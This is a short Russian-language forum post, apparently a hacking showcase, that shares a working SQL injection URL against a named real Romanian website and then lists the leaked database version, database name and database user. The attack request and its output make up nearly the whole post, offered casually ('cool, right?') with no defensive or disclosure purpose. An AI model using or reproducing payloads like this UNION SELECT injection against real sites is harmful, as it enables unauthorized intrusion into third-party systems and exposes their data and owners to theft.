а вот вам добавочка.... правда прикольно? )))

http://www.aquasystem.ro/sectiuni.php?nSId=-3+union+select+1,concat_ws(0x3a,database(),version (),user()),3,4,5,6,7/*

Database Version: 5.0.32-Debian_7etch5-log
Database name: aquasystem
User name: aevum@localhost